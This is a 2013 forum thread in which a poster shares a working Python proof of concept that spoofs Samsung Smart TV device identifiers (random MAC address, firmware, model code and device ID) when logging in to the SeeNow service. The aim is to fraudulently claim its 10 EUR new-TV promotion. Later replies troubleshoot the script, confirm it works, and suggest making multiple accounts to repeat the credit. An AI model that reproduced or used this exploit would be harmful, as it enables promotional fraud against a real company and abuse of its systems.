brontozaur Posted July 23, 2013 Report Posted July 23, 2013 Seenow has a promotion: they give you 10 EUR for free if you connect with your account on a Smart TV which has been purchased recently. This promotion is only for one TV you have.So, there must be something TV sends in order to identify itself, something unique...To keep the long story short, here is the POC in Python v 3.3:#usage: scriptname.py email@email.com password#email is the one associated with SeeNow account#password is your SeeNow passwordimport urllib.request, urllib.parse, urllib.errorimport urllib.request, urllib.error, urllib.parseimport jsonimport randomimport stringimport sysdef random_char(y): return ''.join(random.choice(string.ascii_letters) for x in range(y))def randomMAC(): mac = [ 0x00, 0x16, 0x3e, random.randint(0x00, 0x7f), random.randint(0x00, 0xff), random.randint(0x00, 0xff) ] return ''.join(map(lambda x: "%02x" % x, mac))url = 'http://www.seenow.ro/smarttv/user/login/sessionid/f' + str(random.randint(0,9)) + str(random_char(22)) + str(random.randint(0,9)) + str(random.randint(0,9)) + str(random.randint(0,9))url = url + '?firmware=T-INFOLINK2012-0' + str(random.randint(0,9)) + str(random.randint(10,28))url = url + '&modelCode=12_X' + str(random.randint(10,20)) + 'PLUS'url = url + '&macAddress=' + str(randomMAC())url = url + '&deviceUniqueId=' + random.choice(string.ascii_uppercase) + str(random.randint(0,9)) + str(random_char(6)) + str(random.randint(0,9)) + str(random_char(6))url = url + '&deviceType=0&appId=111299000393&appVersion=2.05&language=RO&language_id=1' user_agent = 'Mozilla/5.0 (SmartHub; SMART-TV; U; Linux/SmartTV; Maple2012) AppleWebKit/534.7 (KHTML, like Gecko) SmartTV Safari/534.7'values = {'email' : sys.argv[1], 'password' : sys.argv[2], 'remember' : 'false' }headers = { 'User-Agent' : user_agent, 'Content-Type' : 'application/x-www-form-urlencoded' }data = urllib.parse.urlencode(values)binary_data = data.encode('ASCII')req = urllib.request.Request(url, binary_data, headers)response = urllib.request.urlopen(req)resp = str(response.read())tosearch = 'success'if resp.find(tosearch) > 0: print (" [X] YOU ARE LOGGED IN! Check if you have the 10 EUR into your account")print(" [+] Response: \n" + resp)Hope you'll enjoy it. Keep it safe! Do not abuse! 1 Quote
ICEBREAKER101010 Posted July 23, 2013 Report Posted July 23, 2013 Hello , File "seenow.py", line 23 url = 'http://www.seenow.ro/smarttv/user/login/sessionid/f' + str(random.randint(0,9)) + str(random_char(22)) + str(random.randint(0,9)) + ^SyntaxError: invalid syntax Quote
brontozaur Posted July 23, 2013 Author Report Posted July 23, 2013 Check the Python version. I have used this one http://www.python.org/ftp/python/3.3.2/python-3.3.2.msi Quote
brontozaur Posted July 23, 2013 Author Report Posted July 23, 2013 I doubt... the promotion started in 2012 http://www.seenow.ro/samsung-smart-tv Quote
ICEBREAKER101010 Posted July 23, 2013 Report Posted July 23, 2013 Check the Python version. I have used this one http://www.python.org/ftp/python/3.3.2/python-3.3.2.msiHey, C:\Python33>python.exe seenow.pyTraceback (most recent call last): File "seenow.py", line 32, in <module> values = {'email' : sys.argv[1],IndexError: list index out of range Quote
brontozaur Posted July 23, 2013 Author Report Posted July 23, 2013 check the usage. in your case: python.exe seenow.py youremailaddress yourseenowpassword Quote
ICEBREAKER101010 Posted July 23, 2013 Report Posted July 23, 2013 check the usage. in your case: python.exe seenow.py youremailaddress yourseenowpasswordI have put the username and pass in the script but it give me the same error : C:\Python33>C:\Python33>python.exe seenow.pyTraceback (most recent call last): File "seenow.py", line 32, in <module> values = {'etecucu@gmail.com' : sys.argv[1],IndexError: list index out of range Quote
1337 Posted July 23, 2013 Report Posted July 23, 2013 I have put the username and pass in the script but it give me the same error : C:\Python33>C:\Python33>python.exe seenow.pyTraceback (most recent call last): File "seenow.py", line 32, in <module> values = {'etecucu@gmail.com' : sys.argv[1],IndexError: list index out of rangeI've tested it and it works!Uninstall other python versions. Quote
ICEBREAKER101010 Posted July 23, 2013 Report Posted July 23, 2013 I've tested it and it works!Uninstall other python versions.Am versiunea care mi-a zis el : 3.3 Quote
brontozaur Posted July 23, 2013 Author Report Posted July 23, 2013 You have put the parameters in the wrong place. I've already told you how to invoke the script (there is no reason to modify it!). script.py email password Quote
ICEBREAKER101010 Posted July 23, 2013 Report Posted July 23, 2013 You have put the parameters in the wrong place. I've already told you how to invoke the script (there is no reason to modify it!). script.py email passwordIt's working now.Thanks a lot.This is very good but it charge only once.Thanks man! Quote
brontozaur Posted July 23, 2013 Author Report Posted July 23, 2013 Indeed, it works only once for one account. Quote
ICEBREAKER101010 Posted July 23, 2013 Report Posted July 23, 2013 Indeed, it works only once for one account.But if you make it public ,this will not working in short time.But we will have fun till someone will repair the site. Quote
Coco93 Posted July 23, 2013 Report Posted July 23, 2013 Testat si de mine. Merge, dar poti sa iti incarci contul doar o singura data.Nice work brontozaur. Quote
brontozaur Posted July 23, 2013 Author Report Posted July 23, 2013 Well no one stops you from making multiple accounts.. Quote
robyyxx Posted July 24, 2013 Report Posted July 24, 2013 (edited) Am incarcat 5 conturi ieri si am mai mai incercat odata azi dar nu imi mai merge, poate gresesc eu ceva si la celalalte conturi nu a intrat din prima.Voua va mai merge? Edited July 24, 2013 by robyyxx Quote